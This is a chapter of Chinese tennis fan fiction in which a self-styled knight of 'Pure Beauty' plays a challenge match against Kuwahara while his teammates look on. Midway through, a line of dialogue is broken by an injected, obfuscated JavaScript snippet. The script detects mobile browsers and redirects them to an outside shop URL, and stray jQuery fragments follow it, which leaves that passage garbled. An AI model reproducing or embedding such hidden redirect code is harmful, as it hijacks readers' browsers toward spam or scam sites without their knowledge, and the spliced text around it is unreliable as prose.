第二天,当银枝来到场地后,桑原已经在旁边开始热身了。
“呐”丸井端着一个小蛋糕含糊的说“杰克这次超认真的哦,小枝你要小心呢。”
“放心吧丸井前辈,以纯美的名义起誓,我不会输。”银枝认真的做了个骑士授勋礼的姿势,不知为何,丸井好像看到了银枝身上被投下的闪光灯和身边冒出的星星。
“喂喂喂,你小子很有自信嘛”切原不知道什么时候到了网球场旁,一把捞过银枝的肩膀。
银枝摇晃了一下便站直了身子,对着切原无奈摇头“赤也,保持决胜的信念是身为骑士应有的品质,也是我一直以来信奉的信条”。
“puri,真是有趣的话题呢”仁王挂在柳生的身上走到了三人面前“银枝君,你还不去热身吗?”柳生推了推眼镜,询问道。
银枝把包放下,边整理东西边回答道:“我在来之前便已做好了基础热身,等会只需要再找一下感觉便好,过度热身并不是值得提倡的美行”边说着边拿出来了球拍。
柳生闻言,便点了点头,不再言语。倒是仁王挑了挑眉,颇有兴味地盯着银枝瞧。
“哦呀,大家都到了呢,看来大家都很关注这场比赛呢。”幸村从器材室出来,身后还跟着柳和真田。
真田环视一圈,突然皱眉,对着猫着腰打算悄悄溜走的切原赤也大喊“切原赤也!”
切原听到自己的名字一激灵,转过身对着真田赔笑,边笑边悄悄挪动脚步“副部长!我昨天可什么都没干啊!”
这不是明着说自己干了什么吗?银枝摇摇头,将注意力转回晨星的话语上,不再关注真田又是怎么训切原的,无非就是昨天又上课睡觉一类的吧。
“如果今天你只靠基础对战的话,胜率不足30%,建议使用「片刻,留在眼底」,但也得使用的出其不意才有效,等对手适应后,胜率仅上升8%”晨星提醒道。
银枝理解了晨星的话,毕竟胡狼桑原虽然说是替补,但其实力也是毫无疑问的全国级别,仅靠自己这几个月的练习就想追上实属不易,但是“我会赢!”。
银枝看向桑原“我誓要让「纯美」之名响彻寰宇,正如幸村所说那样,倘若我连替换赛都无法取胜,又谈何宣扬美名?”他握紧了球拍,感受着拍柄上的玫瑰纹路,听着旁边人吵吵闹闹的声音,呼出一口气
热身很快结束,对战双方在底线处站定,桑原朝着银枝点了点头,他认可这个新人,但不代表他觉得这个新人就能打败自己。虽然桑原是立海大众人中最温和的一个,但属于“王者”的骄傲他也不缺。
银枝从口袋里掏出一朵玫瑰,向桑原丢去,这是骑士面对自己认可的对手发起决斗的战前礼仪。
“玫瑰怪到底从哪里掏出来的玫瑰啊,这个问题我早就想问了。”切原指着银枝朝众人嚷嚷“喂,难道你们就一点也不好奇吗?”
“可能是什么异次元的口袋吧。”幸村言笑晏晏地回答“比起这个问题,我想赤也你应该先想想待会儿的加练要怎么办才好呢。”
提到这个切原就郁闷,可恶,到底是谁给真田副部长举报自己没写完假期作业,被老师留下每天补作业了,可别让他抓到了!!!
“puri。”仁王移开视线,毕竟这也是为了立海大的未来嘛。
比赛即将开始,第三室外场。场边的观众比之前多了不少,不只是同组的选手,那些已经被淘汰的、还没轮到比赛的、甚至几个二年级正选都来了。
丸井坐在最前排,之前的小蛋糕已经吃完了,现在手里捏着一把泡泡糖,正有一搭没一搭的抛着玩。切原挨着他坐下,薯片袋子已经拆开了。柳莲二站在裁判椅侧后方,今天由他担任裁判,他翻开随身携带的笔记本,随时准备记录新的数据,笔尖悬在纸面上方。
真田双臂抱胸站在旁边房子投下的阴影里,帽檐拉得极低。而幸村坐在最高处的长椅上,外套一如既往地搭在肩头,微笑着注视着场上的两人。
“呐,弦一郎,”幸村双手搭在下巴处,朝着真田问道:“你觉得这场比赛,谁会赢呢?”
真田捏着帽檐沉默一瞬,“大概率是桑原吧,毕竟银枝再有天赋也只是一个打了几个月网球的新人”他对自家部员的实力还是非常认可的。
“那我们来赌赌吧,我觉得银枝君可能会赢哦,赌注就设为赤也下一次补习的人选怎么样?”幸村眼镜微眯,提议道。
真田斟酌片刻,颔首同意了。他是真的不相信一个只打了几个月网球的人就能打败一个全国级别的对手,哪怕那个人基础五维再好,经验和技术的短板也是不可能短时间内能填补的了的。
幸村看出了真田的想法,笑而不语,银枝君,你今天会给我带来惊喜吗?我可是所有宝都压在你身上了呢。
一阵风拂过幸村的脸庞,像是接住了他的承诺,吹向球场一侧。银枝正站在发球线前,而球场对面,桑原正在调整握拍。
他的手臂比银枝粗了整整一圈,球拍握在他手里像一根树枝。他的表情很平静,但眼神深处带着一丝跃跃欲试。
“一局定胜负,桑原发球。”
比赛开始。
第一球。桑原抛球的动作不快,引拍幅度也不大,但他的身体像一根被压缩的弹簧,在击球的瞬间释放。
球砸过来,很重,撞击地面时发出沉闷的“砰”,弹起后带着沉重的力道冲向银枝正手位。
银枝迎上去,球拍触球的瞬间,他感觉到了一股截然不同的力量,不是石井那种锐利的冲击,而是一种绵密的、持续的重压。
球在拍面上颤动,震得他虎口发麻。他把球回了过去,但落点太浅。
这就是力量差了1的区别吗?银枝有些惊讶。
桑原已经等在网前,他没有起跳,只是把球拍轻轻一推。球落在银枝反手位网前,没给他反应的时间就落地了。
15-0
球场旁的非正选们有些吃惊,第一球就是这样的力度,他们别说打回去,碰到球的一瞬间拍没脱手都算胜利了。
真田则是露出一副果然如此的表情,默默地对着幸村说:“看来这局大概率是我赢了。”
“别着急嘛,这才第一球呢。”幸村表情未变,仍然对着球场笑得云淡风轻。
真田也不说话了,继续专注的看着球场上的比赛。
第二球,银枝调整了站位,往后挪了半步。桑原的发球再次砸来,这次是反手位。
银枝双手握拍迎上去,身体压低,膝盖弯曲的弧度更大。球撞击拍面的瞬间,那股沉重的力道从拍柄传到手腕再到肩膀。他的手腕在那一瞬间微微发颤,但他顶住了。
球回到桑原底线,桑原退后一步,正手抽击,球再次以同样的重量飞回来。
两人开始对拉,三拍,五拍,八拍。银枝的落点一直在变,反手深区,正手浅角,中场偏左。
但桑原的步法很稳,每一步都踩得很实,每一次击球都借了地面的力量回弹。他没有被调动起来,反而在拉锯中一步步把银枝逼到更被动的局面。
银枝的回球开始变浅,他有些不知道怎么破解这种局面了,毕竟他的对战经验还是太少了。第十拍,银枝的回球飘到了中场,桑原抓住机会上前一步,正手抽击,球砸在银枝反手位底线。银枝跑过去,球拍够到了球,但回球下网。
30-0
银枝站直了身体,握紧拍柄,桑原的力量比他预估的更强,桑原不止是用了他本身的力量,而且还借他打回去的球的力量再加力打回来,导致越是后面的球越重,像在打一堵会反弹的墙。
第三球,桑原发球,银枝接住了。第四球,银枝又接住了。但每一拍的力量都在累加,他的手腕开始发酸,虎口的皮肤微微泛红。
而桑原没有给他任何机会,仍然落点精准,力量均匀,每一板都压得很深,比分被迅速拉开。
第一局,桑原保发,1-0。
换边时,银枝用毛巾擦了擦手心的汗。晨星的声音在脑海中响起:“他的力量和技巧都比你强,正面对拉对你来说消耗太大。建议尝试学习对手的方法,他既然能借力打力,你为什么不能。”
“我知道,但,我还要摸索,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612283|205981||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毕竟借力球也要三群攻才能开出来呢。”银枝说。
晨星沉默了,它在检索借力球是什么东西。
第二局,银枝的发球局。
他把球在掌心转了转,抛起。然后他想起了那个瞬间。
不是刻意去想的,是手心的触感,球在掌心的重量,阳光落在手腕上的温度……这些让他脑海中闪过了一片画面,他在晨光中对着一面空墙反复击球,球弹回来,再打回去。黄色的球在晨光中拉出一道道弧线,像在写一首无声的诗。
那是他第一次发现网球的“美”的瞬间。
球被抛起,他的手臂伸直,屈膝,转体,挥拍——球在空中划出一道弧线,砸在发球区边线,弹了一下,然后,像一道光一样贴着地面滑了出去。
桑原挥了拍,球拍的边框擦过了空气,球已经滚到了后墙。
15-0。
场边,丸井的泡泡糖啪地炸开。切原从长椅上弹了起来:“哦哦!那招!球像光一样‘咻’的一下就飞出来了!”
柳微微睁开眼,褐色的瞳孔透出一丝诧异,然后低下头,飞快地在笔记本上写下几行字。
第二个发球。银枝再次回忆——晨光,球场,球在空气中拉出的金色弧线。然后,抛球,挥拍。球砸在发球区边线,弹了一下,像上次一样,贴地滑出。
桑原这次提前移动了半步,但球太快了,不仅发出了光芒,速度也跟光一样,他的球拍刚挥出,球就停在了他身后的死角。
30-0。
真田的双臂抱得紧了些,他盯着场上那颗还在滚动的球,眉头压得很低。
幸村感受到了身旁真田对银枝这两球的诧异,满意地勾起嘴角。
第三个发球,这次桑原往后挪了一步,站位更深。银枝再次回忆——同一个画面,但这次他往里加了一点别的东西,是那天清晨空气中的气味,花园里飘进来的樱花香气,艾琳娜端来的补充能量的小吃,长时间运动留下的汗水的微咸……这些气味和晨光混在一起,又构成了一个新的片刻。
这一球在空中划出的弧线比前两球更圆滑了,离网很近,只弹了一下,第二跳没有弹起来。
这一球桑原连球都没碰到。
40-0。
他瞪了瞪眼,有些惊异地问银枝,
“这是什么发球……”与场边人的询问声重叠在一起,将银枝从那个片刻中拉回。
“纯美女神伊德莉拉在上。”银枝的声音不大,但周围的人都听到了,“此招名为「片刻,留在眼底」,是我在苦旅中受到伊德莉拉女神的一丝启迪,加上我对「纯美」的理解所汇集而成的一招。”
“纯美女神伊德莉拉?”丸井对这个名字感到疑惑,但想了想银枝的身份,又感觉合理了,毕竟光日本的本土神就有八千多个,欧洲那边有什么自己信仰的神明也不奇怪。
但柳莲二翻开笔记本仔细记下了这一情报,“动作数据没有任何特殊变化,挥拍速度、角度、击球点都在常规范围内。但球的弹跳模式完全异常。第二弹跳被压制到了极限,这不是并非像是物理层面的改变。”
“纯美女神伊德莉拉……”柳莲二回想起了银枝这段时间的一些提到「纯美」的话,之前他还略带疑惑,今天终于是对这个概念有所了解了。
“难道是狂热的宗教信仰者吗?”柳有些吃惊,不过想起银枝一直以骑士自居,又感觉在情理之中了。
“既然不是物理层面,那是哪一层面的?”切原有些脊背发凉地问:“不会真的有什么神啊鬼啊的吧”
柳莲二没有回答,他低下头,在笔记本上写下一行字,笔迹比平时更用力。
幸村微微歪了歪头,紫眸里有一种说不出的东西在闪烁。真田还在一旁回忆刚才那两球的细节。
第四球。银枝没有再回忆,现在那个片刻已经不需要他再回忆了,那片晨光、那些气味、那个瞬间已经在他意识里了,挥拍的时候身体就会比意识提前想起来。他抛起球,挥拍,这次球砸在边线上,弹了一下,依旧高速地贴地滑出。
银枝保发,1-1。